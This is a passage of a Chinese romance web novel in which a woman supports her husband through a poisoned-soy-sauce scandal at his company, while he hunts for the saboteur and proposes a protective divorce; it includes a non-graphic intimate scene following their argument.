张婉如也知道这点,出了这么大的事情,他肯定要忙着处理。但她实在放心不下,想着干脆去他厂子里看一眼。车子开到厂子附近,远远的就看到工厂外围了一大堆人。 “赔钱!给我赔钱!” “这毒酱油我要退了,赶紧把钱退给我。” 杂乱的叫嚷声传到张婉如耳中,她看了一眼前方被堵得水泄不通的公路,车子要开过去不太可能,人也不一定能挤得进去。 没办法,张婉如只得先回去。 小戎还不识字,看不懂报纸,不过他大概也察觉家里出事了,毕竟肖秉文已经很多天没回来了。张婉如不想小朋友担心,就安慰他爸爸去了外地出差,好在小戎也没多问。 这几天张婉如也睡不好觉,她不知道为什么突然出现这样的变故,她仔细回想着梦中那本小说。小说中对肖秉文的描写很少,对肖秉文的生平自然也没做太多介绍,不过小说里在介绍反派肖楚戎背景的时候提到过肖楚戎和他父亲缔造了宏伟的商业帝国。 也就是说不管遭遇多大的变故肖秉文最终都会逢凶化吉的对吧?可她猛然想到因为她出现改变了一些事情的走向,就比如遗产那事,在梦中那本小说里肖秉文要十年后才拿回属于他的遗产,而现在因为她的存在,他提前拿回来了。 那么会不会是蝴蝶效应,这件事的改变从而又影响了另外一件事? 张婉如简直不敢想,如果真的因为她改变了事情的走向从未改变了父子两的命运,那么这件事又会对肖秉文造成什么样的影响? 肖秉文这段时间确实挺忙,公司出了这么大的事情,他作为公司的领头人,自然是脱不开关系的。 他忙得脚不沾地,电话一个接着一个,事情一件接着一件。这天从质监局回来之后他就匆匆回到工厂,天已经很晚了,他却一点睡意都没有,将秘书小孙叫过来问话,一见面肖秉文就问道:“老于那边怎么说?” “老于一直不承认,直呼冤枉,肖总你说这事儿是不是真不是老于干的啊?” 老于是公司里负责管理仓库的,公司许多半成品在包装前会先放到仓库。出事的那批酱油肖秉文已经通知相应的部门紧急召回,按照这批货的生产日期,那段时间正好是老于值的班,而他也是最有可能在酱油半成品里动手脚的。 可是老于跟他认识已经有几十年了,他出生时他就在肖家的酱油坊工作,是肖记酱油厂的老工人。当年肖秉文自己成立公司,需要人手和制作酱油的老师傅,就跟老爷子要了老于,将老于一起带到了工厂,一干就是好几年,这工厂能发展起来,老于也是功不可没。 老于年纪大了没法再留在生产线,肖秉文就安排他管仓库。自己人,又是看着自己长大的,信得过。 他不想怀疑老于,但出了这样的事,他最有嫌疑。 “其实我觉得也有可能真不是老于。”小孙继续说道,“我调查过,那段时间确实是老于值班。可是那段时间也有其他人进入过仓库。” 肖秉文目光扫过去,小孙对上他质疑的目光接着道:“肖记的陈总,他带人过来送过酱油。” 肖记和和盛味业虽然合并了,但肖记的工厂依然还在老城那边的旧厂,肖秉文暂时腾不开地方给肖记用,用旧工厂原材料设备也方便。 不过肖记的酱油包装和贴标却需要在和盛味业的工厂完成,所以一般都是肖记那边制作好了一批货密封送过来再包装。而送货这件事一直都是陈子越亲力亲为,就怕有个差池。 仓库里卸货的工人会经过严格检查,仓库外面有两防安保,一防是保安一防是门口的检查人员,每经过一防都会被检查一次。 不过陈子越作为肖总的亲戚,也不排除他们会看在肖秉文面上对陈子越放放水。 这么一说,陈子越似乎也有嫌疑。不过肖秉文却想得更远,他道:“也不止陈子越,有仓库钥匙的人也有嫌疑,比如老于,比如……”肖秉文将目光落在小孙身上。 小孙作为肖秉文的秘书,在工作上是跟肖秉文最亲近的人,作为总经理肖秉文自然也有仓库的钥匙,不过这把钥匙是由小孙帮忙管理。小孙对上他的目光顿时吓得一激灵,连连摆手道:“肖总明察啊,那段时间我一直跟在你身边,哪里有机会啊?” 小孙脸色白成一片,吓得浑身都在打哆嗦,肖秉文道:“我就只说有这个可能,又没说一定就是你。” “绝不可能是我!肖总我忠心耿耿跟了您这么多年,您怎么能怀疑我呢?” 肖秉文笑了一声也没多做解释,只说道:“卸货的那些工人也得查查,这事儿就交给你了。” 小孙一脸紧张看了他一眼,拿不准肖总是真怀疑他还是逗他玩的。不过让他继续查,应该也是要继续用他的意思吧。小孙自然不敢再多言,应道:“ 好,我这就去办。” 小孙离开,肖秉文点了一根烟来抽,那段时间小孙确实一直跟在他身边,看上去似乎真没机会。可小孙也不是时时刻刻跟着,就比如晚上下了班之后趁着别人没看到他偷偷潜入仓库也不是不行。 更何况小孙干了这么多年,仓库的布局,他很清楚。虽然仓库外面设了两防,不过如果精准把握这两拨人的换班时间再摸进去也不是不行。 但小孙为什么要这么做呢,他让小孙调查别人的时候他也默默调查过他。小孙身份很干净,也没发现他跟别的竞争公司有来往,他花费这么大心思搞出这些事,他想不出他的动机。 当然,如果有仓库的钥匙就有嫌疑的话,那他倒是还想到一个人。 肖瑜。 工厂扩建,他公司里人手不够,让肖瑜来帮过一段时间的忙。那段时间换仓库,也是由肖瑜负责的,不过仓库换完之后肖瑜就把仓库钥匙还回来的。但不能保证他会偷偷配一把,而且肖瑜在工厂呆得时间也挺久,换仓库的这事儿更是亲眼见证的,他清楚仓库的布局,自然也知道仓库外面的保安和检查人员的换班时间和制度。 这么一看,肖瑜也有嫌疑。 所以,老于,小孙,陈子越和肖瑜,还有在仓库卸货的搬运工人,应该就是这些人中的其中一个。 不过相比较而言,虽说陈子越和肖瑜是他的亲人,但他觉得他们比其他人更有嫌疑。而这两人之间又以陈子越的嫌疑更重,毕竟遗书的事情他和肖二姑那边有一定的经济纠葛。尤其毒酱油这件事还发生在肖家二老离世不久。 大概在事情发生的十天之后肖秉文回来了,那天夜里,张婉如听到门锁扭动的声音,声音很小,能感觉到来人故意放柔了动作。但这段时间张婉如睡眠浅,一点轻微的响动她就醒了。 这半夜了,谁还会用钥匙开门?是不是肖秉文回来了?张婉如下床查看,从卧室到客厅几步路的距离,内心却漫过多种情绪,不安,担心,期待,心脏砰砰砰快得像是要跳出来。 直到她看到客厅里的肖秉文,像一块石头落了地,所有焦灼的情绪渐渐平息。不管怎么样,他总归是回来了。 胡子看上去已经很久没刮过了,在他下巴上绕了一圈,身上的衣服倒还是周正的,不过因为胡子拉渣,那一身周正的衣服也不免透出几分狼狈。 这模样竟看得张婉如有些心疼。 “你回来了?”张婉如心情很复杂,看到他回来心里是惊喜的,可想着最近发生的事情又担心。 “回来了。”肖秉文应了一句,冲她笑笑,从他的表情看不出什么异样,似乎并没有受到什么影响,“好久没洗过澡了,我先洗个澡,你回房等我。” “好。” 张婉如乖乖回了房,内心却安宁不下来,目光时不时焦灼往门口望一眼。肖秉文再进来时胡子刮干净了,很放松的只穿了一条大裤衩,这是他在家时的日常穿着。 肖秉文手上拿着毛巾擦了擦头发,清爽的碎发被他擦得半干,这么一收拾,看着倒比方才精神了一些。 他随后将帕子搭在椅背上,走到床边坐下,也没说话,微笑着冲她伸出手,张婉如急忙向他凑过去,却等不及似的,他远远的就伸了长臂将她身体一揽,动作轻巧而干净利落,直接将她抱在了怀中。 “我在报纸上看到你们公司出事了,是真的吗?”张婉如问道。 “嗯。” 张婉如心头一咯噔,“所以那毒酱油真的是从你们工厂出来的吗?” “这件事是我没把好关。” “到底怎么回事?” 虽然报纸上批判和盛味业是黑心企业,批判肖秉文是只顾利益的黑心老板,但她还是不相信肖秉文真的会为了赚钱昧着良心。 “有人偷偷在材料里动了手脚。” 听到这话张婉如先松了一口气,这就证明肖秉文并不是始作俑者,他并不像报纸上批判得那么恶劣。 “查出来是谁了吗?” “还没有,不过有问题的酱油我已经让人全部收回销毁,至于是谁偷偷动了手脚我也会调查清楚。” 张婉如点点头,“现在你工厂里面是什么情况?” “有点乱。” “很严重吗?” “也不是很严重,能解决。” 从见面开始他就没表现出任何异常,甚至他说话的语气也听不出有任何不对劲。 张婉如想着这个人,他总是那么自信从容,不管遇到什么都不觉得是大事。她想或许这件事对他来说也没她想的那么严重。 可不知道为什么,心情却并没有放松半点,看向他的目光依旧带着几分担忧。肖秉文见状,嘴角反而勾起一抹笑来,问她:“在担心我吗?” “出了这么大的事情我怎么不担心?我给你打过好几次电话你都没接,也没给我回个电。” “这段时间实在是太忙了,抱歉。” 张婉如当然也能理解,他这段时间肯定焦头烂额,这么说只是想发泄一下心头的委屈。 “真担心我啊?”他又问道。 张婉如一脸不解向他看去,她担心他这事儿有什么好值得怀疑的,怎么又问? “你是我丈夫,我怎么会不担心你?” 其实相似的话他也听过不少,什么你是我男人,你是我一个人的。这丫头热情起来的时候着实撩人,哪怕相似的话听过多次了,这会儿听到“你是我丈夫”几个字,心头依旧像被拨弄了一下,还挺有滋味。 肖秉文一直没说话,嘴角却弯起一抹笑,张婉如不明白,这个时候了他怎么还笑得出来,她道:“你笑什么?” “没什么,就是知道你在担心我,我还挺开心的。” “这是什么话?”张婉如不满,“说得好像我不该担心你?” 当然也不是这样说,只是知道这丫头担心他,会给他一种她在意他的感觉。一想到她在意他,心情就会莫名不错,暂时驱散了这段时间的阴霾。 肖秉文抬手用手背贴了贴她的脸,“我们有多久没抱过了?” “有十来天了。” “那还不抱抱我。” “……” 张婉如也没多言,窝进他怀中将他抱住,肖秉文看着温顺靠在怀中的人,还挺乖,他心里满意的不行,长臂一横也把人搂住。 抱了片刻,依旧觉得不得劲。他捏着她的下巴轻轻抬起她头来,拇指摁着她的唇,脸上挂着浅笑问她:“有多久没亲过了?” 张婉如发现她是真想他了,所有的担忧和思念都化为动作,她没回答,勾上他的脖颈直接将唇贴了上去。 肖秉文也没想到她动作这么快,本来十来天没见,他想循序渐进,先调个小情,倒没想到她会这么主动,竟没一点犹豫就亲了上来,将他思路都打断了。 在片刻的出神之后,身体都不等大脑发出指令,哪里还管什么思路,手臂揽住她的腰,唇也狠狠压了上去。 第54章 第54章蕴藉 不需要多余的言语,滚烫的身体只需要肉贴着肉蕴藉。 就这般吻了片刻之后肖秉文将她松开,张婉如担忧的心情被这个吻平息了不少,然而他接下来的话却让她的心沉了沉。 他贴着她的额头轻轻蹭了蹭,用着闲聊般的语气冲她道:“想不想去国外玩?带着小戎一起去,正好现在小戎放假了,你也请个假好好休息几天。” 公司出了这么大的事情,这个时候怎么都不适合出去玩。张婉如心中不安,向他看去,问他:“那你呢?” “我还得忙事情呢。” 这话他说得轻描淡写,嘴角还勾着浅浅的笑意,没事人一样,忙事情几个字也说得像顺便吃个饭那般。 张婉如却觉察出不对劲,她道:“事情是不是很严重?” “想什么呢?哪有多严重?”生怕他多想,他唇又贴上去含着她吻着,“我都能解决的。” 半夜张婉如累得很,困意实在太强烈了,她正要睡过去,不想肖秉文的传呼响了,他拿过看了一眼便起身去衣柜拿衣服。 张婉如坐起身,睡意全无,“你又要走了吗?” “又来了事,得马上回去。”他也没回头,一边回答一边穿衣服。 “那你下次什么时候回来?” 房间里没开灯,她却能感觉到他的目光落在她身上,落了很久,他回了一句:“不确定。” 张婉如心底不安又难过,却什么都没说。肖秉文在离开前走上来勾着她的头在她额头留下一吻,轻柔的声音似在安慰:“好好睡觉。” 还是那没事人般的语气,张婉如知道这个男人有着他大男 人的尊严,不想露出无措脆弱的一面,可她又想到他在面对肖家老二去世时的难过。人都是血肉做的,也会有恐惧无助,他考虑要将她和小戎送到国外,她不会觉得他真是想让他们去国外度假,他应该做了最坏的打算。现在他的究竟是什么样的心情她不知道,但他反而在安慰她。 张婉如有一种想哭的冲动,她一把将他抱住,也不想自己的情绪影响了他的决定,她只对他说道:“你早点回来,我相信你。” 他身体僵硬了一下,似乎有许多话要说,可开口只有干净利落的一个字。 “好。” 肖秉文离开了,张婉如呆坐了许久才又重新躺回去。她已经做好决定,不管发生什么事情,都跟他一起面对,曾经他总对她说没事,而现在她也该成为说没事的那个人了。 这样一想反而松快了些,张婉如这才睡了过去。 肖秉文这一走又是连着几天没有音讯,张婉如也不再试图去联系他,这些事情已经够他忙了,而她要做的就是给他时间和空间让他去处理好自己的事情。在这期间她只需要把小戎照顾好,在尽自己的力去帮帮他就行。 这段时间张婉如没事就往新开的分店跑,分店开张不久在搞活动,买衣服会送其他东西。有时候送护手霜,有时候送腰带,有时候张婉如也会带着肖记的酱油去送。 肖记虽已经并到了和盛味业,不过两方的生产线地点不一样,出事的是和盛味业的酱油,而不是肖记的。肖记作为柳城的老品牌,深受柳城人的喜爱,很多人都是吃着肖记的酱油长大的。 张婉如选择给顾客送酱油,一来是想表达对肖秉文的支持,二来也想看看这件事究竟影响多大。 看着被顾客客气退回来的酱油,张婉如许久没回过神。退回来还是好的呢,张婉如还看到过,有人一出门就把酱油扔了。 连白送都不要了,张婉如看着被退回来的酱油心里的难受无法形容,那么肖秉文在面对滞销或者退货的商品时又是什么心情呢? 作为生厂商,他被退回来的肯定比张婉如眼前的要多得多。 而接下来发生的事情更让张婉如知道这件事究竟有多大的影响。林友莉自从参加了模特大赛之后在柳城也有了一定的名气。虽然只是模特大赛的十强之一,但全柳城就她一个进了十强。 林友莉接受了一家报社的采访,在采访中记者问她保持身材的秘诀。林友莉表示,她并没有特意去保持身材,她平时特别喜欢吃面条,而且吃面条时只加肖记酱油作为调味品,她觉得那样的面条最好吃。 如果换做平时,林友莉这些话别人只当她是在跟人分享饮食习惯,而现在和盛味业正因为“毒酱油”事件处在风口浪尖上,肖记又是在和盛味业旗下的。林友莉这么一说,就有给和盛味业站台的意思。 这采访一出,顿时就引起不少人的反感,林友莉开始遭到多方抨击,甚至还有人写信骂她,而这些信都寄到了其乐服装公司,毕竟林友莉是其乐服装签约的模特。 张婉如自然也看过那些信,信上骂得很难听,有些词简直得不堪入目。张婉如一个外人看着都生气,不敢想象这些信被林友莉看到她会难过成什么样,她当即就让人将信收起来别给林友莉看到,怕影响她的心情。 张婉如找到林友莉跟她聊了一下这件事。 “我知道,肖秉文和周鹏是战友,是生死之交,如今肖秉文陷入危机之中,你想帮他。但是和盛味业现在正在风口浪尖上,你现在也有了一定知名度,算是半个名人,你的言行就会被人过度解读。你不该在这时候给自己遭来麻烦。” 林友莉道:“你这话说得不对。” “哪里不对?你不知道那些人写的信有多恶心。” “我知道啊,我看过了,我挺生气的。” “……” 张婉如本还想着把信收起来,到时候一把火烧了,没想到林友莉已经看到了。她叹了口气:说道:“既然生气为什么又觉得我说得不对呢?往后要是再有这样的采访,尽量别提到跟和盛味业有关的事情,等避了这个风头再说。” “我说你说的不对不是指这个。” “那你是指什么?” “我这么做并不是看在周鹏份上帮肖秉文说话,而是想帮你。” “帮我?” “你这段时间过得很焦虑,我都看在眼里的。我知道你是因为肖秉文的事情,你帮过我,我也想帮你一下。实际上我憎恨肖秉文,如果不是因为他周鹏也不会死,他害死了我的周鹏,我怎么可能还去帮他?我只是不想看到你为了他的事情操心,想尽我所能出一份力。” “……” 张婉如想起来肖秉文曾经说过,林友莉一次次去找他,一来是需要帮助,二来就是要一次次提醒他周鹏是怎么死的,让他愧疚痛苦。还真被肖秉文猜对了,林友莉是恨他的。 “我明白了,也谢谢你愿意帮我。不过你现在身份不一样了,作为半个名人,你说的话和普通人说的话造成的影响是不一样的,以后还是要谨慎点。” 林友莉笑笑,“好,我注意。” 张婉如当然明白林友莉这样做是好意,不过从这件事中她也解读出了不一样的信息。所以现在是为和盛味业说一句话都不行了。 可以想象“毒酱油”造成的影响有多恶劣。 张婉如下班后去游泳馆接小戎。放了暑假,张婉如给小戎报了些兴趣班,其中就有游泳班,听说他的好朋友白子浩也在游泳班,那正巧有个伴。 张婉如在游泳馆门口遇到白子浩爸爸,张婉如和白子浩爸爸碰到过几次,因为两个孩子是朋友,两方家长也碰过面打过几次招呼。 白子浩爸爸名叫白军,张婉如只听说白军在某家报社任职,但具体做什么的她不了解。白军穿着一条喇叭牛仔裤,一件宽松的白衬衣,衬衣扎在裤子里,留着三七分的头发,穿着打扮都挺符合时下潮流。 他身上那股年轻活力的劲头,看着一点都不像一个有着六岁大孩子的爸爸。 张婉如见到白军,冲他点点头打招呼,白军笑了笑,“小戎妈妈,你今天来晚了。” “有点事情耽搁了。” 正好小朋友被游泳馆的老师带出来,两人各自接上自己的孩子,离开前白子浩冲肖楚戎道:“肖哥我们下次一起去吃冰淇淋好不好?” 肖楚戎没应,自己的孩子自己了解,张婉如知道这是小戎不乐意的意思。但她觉得他这态度有点伤朋友的心意,她便道:“好啊,我提他应了,下次有机 会你两一起去。” 肖楚戎看了妈妈一眼,不过没说什么。白子浩挺开心,“真的哇,那别忘了。” “不会不会。”张婉如道。 两个孩子这才道别,张婉如和白军也客气道了声别。 坐上车张婉如问小戎,“白子浩约你去吃冰淇淋你为什么不理人?” “我不太想去。” “为什么?是不想吃冰淇淋?” 肖楚戎摇了摇头,张婉如道:“那为什么白子浩约你你不愿意?” “我没有心情。” 听到这话张婉如沉默下来,小戎年纪还小,大概不明白家里发生的事情,可这段时间肖秉文一直没回来,小戎心思敏感自然也察觉了什么。 张婉如有些内疚,想着要怎么安慰一下孩子,还未来得及出口,就听得小戎问道:“我们什么时候去动物园?” 对着小戎几分期待的目光张婉如一时不知道该怎么回答,之前就答应过等小戎放暑假了带他去动物园玩,但和盛味业出了这么大的事情,肖秉文已经很长一段时间没回家了,感觉他短时间之内应该也脱不开身,而去动物园这事儿自然也遥遥无期。 “等爸爸忙完了这一阵就去了。”张婉如笑着安慰,“应该快了。” 小戎却没有因此高兴,他低垂着脑袋,心情看上去有些沉重,片刻后他说道:“我知道爸爸的公司出事了。” 张婉如心头一咯噔,小孩子出门在外肯定会听到别人的议论,小戎这孩子又敏感,这事儿他迟早都会知道的。 “是出了点事,不过爸爸那么厉害,他会处理好的,我们要相信他是吧?” “嗯。”这次他倒是应得很快。“爸爸什么时候才能回来?” “怎么?想他了?” 小家伙诚实点了点头,张婉如看得有些心疼,她道:“应该快了吧。” 本来这话是用来安慰小朋友的,但张婉如没想到,两人一进门就看到坐在沙发上的肖秉文。 小戎也没想到一回家就看到爸爸,他已经快一个月没看到他了,骤然看到爸爸的惊喜让自来内向的孩子喜不自胜,忍不住一声惊呼。 “爸爸!”随即便小跑过去一下扑到他怀中。 肖秉文将儿子抱到腿上,揉了揉他的脑袋,问道:“我不在这些日子,有没有好好听妈妈的话?” 小戎在他怀中点头,过了好一会儿才抬起头来,肖秉文见他眼眶红红的,有眼泪在眼眶里打转,不过却一直憋着没落下来。 肖秉文捧着他的脸嗔道:“怎么回事啊?怎么一副哭唧唧的样子?发生什么事了?谁欺负你了告诉爸爸,爸爸帮你教训他。” “没有。”他吸了吸鼻子,“我才没有哭唧唧。” “也是呢。”肖秉文在他屁股上拍了一把,“我儿子可是堂堂男子汉。” 这话将小戎逗笑了,笑完他神色又严肃了几分问道:“爸爸这次回来什么时候走?” “老子才刚回来就盼着我走了?” “没有,你答应我,会和妈妈一起带我去动物园。” “放心,没忘,这段时间有点忙,忙完了就带你去。” 这话的意思就是暂时还没忙完的意思,小家伙有些失落。肖秉文抬头看了一眼站在一旁的张婉如。 “先去房间玩一会儿,我跟你妈说几句话。” 虽然很想爸爸,虽然有很多问题想问爸爸,不过小戎还是听话点了点头,先回了房间。 自那晚他匆匆回来过一趟这又快两个星期了,这次回来倒没有胡子拉渣,但看着比上次消瘦了些。 客厅就剩了两人,两人相视片刻都没开口,倒是肖秉文先站起身说道:“走吧,回房间说去。” 张婉如回到房间时,就见肖秉文站在窗边掏出一支烟低头点燃。张婉如走上前从身后搂上他,不想问他事情处理得怎么样了也不想问今天回来之后又要离开多久。 “吃过饭了吗?”想拉家常一样她随口问了一句。 “吃过了。” “吃得什么?” “红烧肉,酱香鸭。” “那还不错。” 就像两夫妻之间闲话家常。之后的时间,他静静抽着烟,张婉如也默默抱着他,两人都没再说话。 直到他一支烟抽完转过身对着她,一只大掌抚上她的脸,温热粗糙的掌心贴在她脸颊上。 “这套房在你名下,爷爷给的商铺我过几天也弄到你名下,还有另外一套房也过户给你。我账户上的现金我会取出来给你。” 他说这话的时候面色很平静,就像在闲话中将他的决定告诉她。然而张婉如越听越觉得不对劲。 “为什么突然给我这些?” 他微颔首,目光落在地上,贴在她脸上的掌心停顿了许久,随后他收回手,微微侧身避开她的目光。 他道:“我们离婚。” “离婚?”张婉如被这两个字惊到了。 “你也知道公司发生的事情,后续要对受害者做出赔偿。因为这次的事情公司受到大量退单,导致一大堆货物积压在仓库,一旦过期就得处理,这段时间公司损失惨重。” 张婉如想起上次肖秉文回来时,身上一点也看不出异常,她问起他也说没事。这一次他却面色严肃,没再对她隐瞒,将和盛味业的具体情况对她和盘托出。 比她想得要糟糕。她知道这个时候应该给肖秉文时间和空间去处理事情,他提离婚或许也有他的考量,可心里终究是难过的。 “我知道公司出了事情你需要花精力去处理这些事,但真的有必要离婚吗?” 收拾好心里的情绪,她问出这话时也尽量让语气平静。 肖秉文深深看了她一眼,眼底情绪太过复杂了,沉重,不甘,愤怒,却又无能为力。静默片刻他才说道:“目前我只有两种选择,第一种将公司出售,及时止损。到时候现金回拢手中,即便弥补了赔偿和损失也还有一定的剩余,加上我手上的资产,可以支撑我们一家过上不错的生活。第二种孤注一掷再赌一把。我想大多数人会选第一种,把损失降到最小,也不至于输得彻底。可不管是出于我的私心还是我的责任我都没有办法选择第一种。和盛味业是我的心血,我不可能看着他倒下,更何况现在还多了肖记。肖记已经和和盛味业绑定,和盛味业一倒,它势必也会倒下。肖记是肖家好几代人的心血,我更不可能看着它倒下,所以我必须孤注一掷,除非有一天我真的熬得油尽灯枯再也做不动,不然我都不可能主动放弃。” 张婉如道:“我能理解,我也支持你所做的决定。而且你现在是最需要钱的时候,我们手上的资产能换成钱,也能解你的燃眉之急不是吗?” 所以张婉如不明白,肖秉文为什么要跟她离婚,还要将所有资产都给她之后再跟她离婚。 “我现在确实很需要现金,当然也确实可以将手上的资产出售换成现金,可我不想那样做。我想的是把这些资产留给你和孩子,而我用现在的公司做抵押去贷款。当然这样一来我势必就会背上大量负债。我不能保证我孤注一掷是对的,就像赌博,赢了会东山再起,输了就一败涂地。如果我输了那我就彻底一无所有,满身负债这辈子都翻不了身,我自己可以赌,可我不能拉上我的妻儿跟我一起赌。” 张婉如明白了,原来他是这个目的,心里好受了一些,她道:“就算输了也不可能一无所有,我自己也有工作不是吗?你能养家我也能养家。” “你还不明白吗?如果我输了,我势必会背上高额负债,你会一辈子都跟我一起陷在这个窟窿里。” “那就别去贷款,身上的现金和房产地产这些加起来,如果不够我这里还有,用这些钱去博一把。就算真的赌输了,我工作还在也能养家糊口,我们一家也不至于饿死。” 这件事让肖秉文见识了太多人性的冷漠,往日生意上的伙伴,互相帮扶互惠互利。可发生这样的事情之后却一个比一个更快翻脸无情。别说雪中送炭的人了,能有不落井下石的都是少数。 越见识心就越冷。此刻听到她这些话,一颗冰冷的心像是被泡了一下。曾经冷漠无情说走就走的张婉如,明明这丫头那么冷那么刺,明明最有可能先抛弃他的人就是她,却是在他走投无路的时候第一个站出来支持他的人。 内心欣慰,可理智很清楚现在不是感情用事的时候。 他道:“就算把现金资产和房产加上也远远不够,还是需要去贷款。” “那就去贷 款,以后慢慢还就是了。” 有那么一刻,肖秉文想将她压在腿上,想吻她,想和她身体交融。她的话,每一个字都像烈性的药,春-药。让他内心滚烫,让他每个细胞都被熨帖。 他双手握拳调整呼吸克制,喉结滚动几下他才能开口说话:“我不想这样。把我手上能给的资产给你们,就算以后我一败涂地,最起码你们手上也有东西,也能保证你们衣食无忧。如果拉着你们和我一起冒险,我一旦失败,我们就什么都没有了。” 张婉如其实能理解肖秉文的做法,他不敢保证这一次的他会赌对,所以他不愿意带着他们母子去冒险。离婚之后他去贷款,那么债务跟他们母子就没有任何关系,这样即便他一败涂地也影响不到他们。 所以他要去赌一把,那么这个婚他就必须得跟她离。 张婉如能理解的,而且看着眼前的肖秉文她也心疼。这个男人在她的印象中总是自信从容。不管是在什么场合,他身上都有一种八面玲珑的松弛感。而现在,她第一次在他身上看到了踟蹰不安,他好像一瞬间失去了光彩。 可是也能理解,怎么可能做什么都游刃有余呢,都是血肉之躯,都有脆弱的时候,谁的人生都不可能是一帆风顺的。 很想抱他,心里也是理解他的做法的,可离婚那两个字也听得她生气。 正是她对他最上头的时候,他还不知道她心里惦记着他呢,而她也不知道他对她究竟是个什么想法。 虽然大家也像正常夫妻一样过着日子,但她也期待过有一天他能给她想要的情感需求。可他却跟她提离婚。 “你已经决定要这样做了吗?” 肖秉文蹙了蹙眉,一抹沉痛在眼底划过,理智的冷静稍稍冲淡了身上的火热,他道:“目前只能这样做。”他沉默了一会儿又补充了一句:“如果我能东山再起,我们再复婚。” “那要是你不能东山再起呢?” 肖秉文面色凝重,闭上眼调整了几个呼吸,他睁开眼,冷静而克制说道:“那我就注定一个人孤独终老。” “你的意思就是,我们离婚了,也不能以恋人的身份相处是吗?要做一对陌生人?” 肖秉文沉默片刻说道:“我现在这个样子,你最好跟我保持一定的距离,最好不要让人知道你跟我的关系,不然会给自己招来许多麻烦。我知道你在默默帮我,你们新店开业,别人买衣服你给人送肖记的酱油,和盛现在的声誉这么差,你有没有想过你这样做也会影响你们公司的声誉。还有林友莉也是你让她帮忙说话的吧?可那次采访之后林友莉也遭到不少骂声不是吗?我现在是人人喊打,你最好跟我能有多远离多远,我甚至还想过要不要把你和小戎送到国外。” “没想到你消息还挺灵通的嘛,我还以为你这段时间忙得什么都顾不上了,居然还有闲心去打听我在做什么,连我公司新店开张我送别人酱油这种小事情都知道。” 也听不出她的语气是不是在嘲讽,倒也不是她说得那么闲,这段时间确实很忙,有时候忙的饭都吃不上,可还是想知道她和孩子过得好不好。 “你说得对,为了我和小戎的安全确实该和你保持距离。尤其还离婚了,都离婚了还谈什么恋爱呢?离了婚变成谈恋爱,听着就挺奇怪的。离了婚就该有离了婚的样子,而且我一旦选择离婚那就要离到低,什么谈恋爱这种事情也别想了。离了婚彼此就是陌生人了,往后我或许还会遇到更合适的人,谁知道呢,当然都已经离婚了,我再跟谁在一起你也管不着了对吧?” 这段时间肖秉文受到的打击接二连三,决定要跟她离婚之后心情更是无比沉重,好在回来之后她说的那么些话烫着他,让他心里好受了些,可一转眼听听她又说了些什么。 想过或许她说得是气话,可她那模样太平静了,大而漂亮的一双眸子里平静得没有一丝感情,让他想到了曾经的张婉如,对他没个好脸,看他的眼神跟现在如出一辙。 又来刺了,这刺的威力跟以前比起来非同小可,刺得他痛得要死。 可他能说什么呢?离婚是他提的,也是他要她跟他保持距离,虽然也是为了母子俩好。虽然他这么做只是不想他们跟着他痛苦,但离婚就是离婚啊。 “这些如果你能接受,那我们就离婚。” 心头滚着怒火,一路烧到他眼底,眼底的火将一双眸子烧得通红,他的面色却越来越冷,冷的让人害怕。 他许久没说话,也不知道沉默了多久,他突然笑了,就那么轻轻挑了一下嘴角,眼底的怒火却没消下去半点。这一副脸笑心不笑的模样莫名透着几分危险。 他也没说话,就这般将燃着火的目光落在她身上。 “不说话?默认了?”张婉如突然想到什么,虽然不太可能,但这会儿她心里也乱得要死,她没忍住说道:“你这么执着要跟我离婚,不会是外面有人了吧?” “妈的!”肖秉文突然咬着牙从牙缝中挤出这两个字。 他现在痛得要死,听听她问的什么? 外面有人?这节骨眼上竟然能问出这话? 随后不等张婉如反应过来,他长臂一伸直接揽住她的腰将她一勾,他的臂力也真是大得惊人,竟这般轻而易举就将她捞起来搁在桌上。劲瘦的腰强硬将她的双腿分开,三下五除二将身上的衬衣扣子解开,然后便开始解皮带。 张婉如意识到不对劲,她觉得莫名其妙,对上男人的脸。嘴角还挑着那抹笑呢,眼底那火气好像燃得更烈了。 她已预料到会发生什么,但她怎么都想不通为什么事情就发展成这个走向,他们方才是在吵架不是吗?她故意说那些话来刺他不是吗,看的出来是将他刺得很不舒服的。不管他因为什么原因提离婚,但就是让她难过了不是吗,那也该回敬他一下。 不说剑拔弩张吧,但也是针尖对麦芒的,怎么一转眼他来这出? 张婉如回过神来,她推着他的肩膀,“你做什么?” “不是说我外面有人吗?证明给你看看。” 证明?有他这么证明的吗? “你别发神经啊,不是要离婚吗?” “离个屁!” 她知道这男人身上有一股浑劲,但第一次见识到所有浑劲都集中在身上的肖秉文是什么样子。 他已经不由分说不管不顾继续自己的动作了,张婉如在他胸口锤了几下,根本锤不动。 “你疯了吗?小戎还在隔壁。” “那你叫声小点。” “……” 第55章 第55章试探 张婉如想拉他的手,哪里拉得住,最后被搅得没办法,她妥协,“去床上。” 此刻他将她搁在桌上,桌子就靠近窗户,大张着腿坐在桌上像什么话。肖秉文却没听她的,手臂一伸将她身后的窗帘拉上,说道:“我等不及了。” “……” 最后还是没办法,那桌子真是没眼看。肖秉文依旧还搂着她没松开,张婉如靠在他肩头调整呼吸。 “你突然来这出什么意思?”她问他,“方才不是还嚷嚷着要离婚吗?” “你不是怀疑我外面有人吗?我只能这样证明了。” “证明?你这样证明什么?” “我要是有女人还能给你这么多玩意儿?” “……” 张婉如几乎是立刻就反应过来他的意思,她又羞又气又恼,实在没忍住在他肩上狠狠咬了一口。他身体痛得僵了一下,却也没反抗,就由着她。 直到张婉如解了气才松开他,此刻他身上的衬衣松松垮垮的,她将他领子轻轻一拉,那肩头就露了出来,上面留了两排牙印子。 她更恼了,“你怎么都不知道动一下?” 他却若无其事说了一句,“反正都痛,痛哪儿不是痛?” 张婉如推了推他的肩膀,紧拥在一起的两人有了些距离,她这才看清他的表情。眼底的欲色还未散去,眼白处的红血丝又多了些,红晕在眼底弥漫,不过不是方才的怒火,染了些迷离之色。 他的唇色很深,鼻尖也泛着一点点粉红,每次兴奋完都是这副样子,看着还挺诱人。只是这会儿眉心微微拧着,再配合刚那句话,便又显得可怜兮兮。 “你到底怎么想的,要离婚吗?”张婉如问道。 肖秉文没说话,张婉如心头了然,方才他说那句“离个屁!”可能也是欲望上头时随口说的,离婚这事上他已经决定了。 “就按照你的安排来吧,你要离婚的话我答应你。” 听到这话肖秉文眉头却蹙得更紧了些,他道:“离了婚我俩还会有关系吗?还接受别的人吗?” “不是你自己说要让我跟你保持距离吗?” “我是这样说过,我只是不想你们被我牵连。”肖秉文双手捧着她的脸,让两人目光相对,“不要转移话题,回答我,会接受别人吗?” 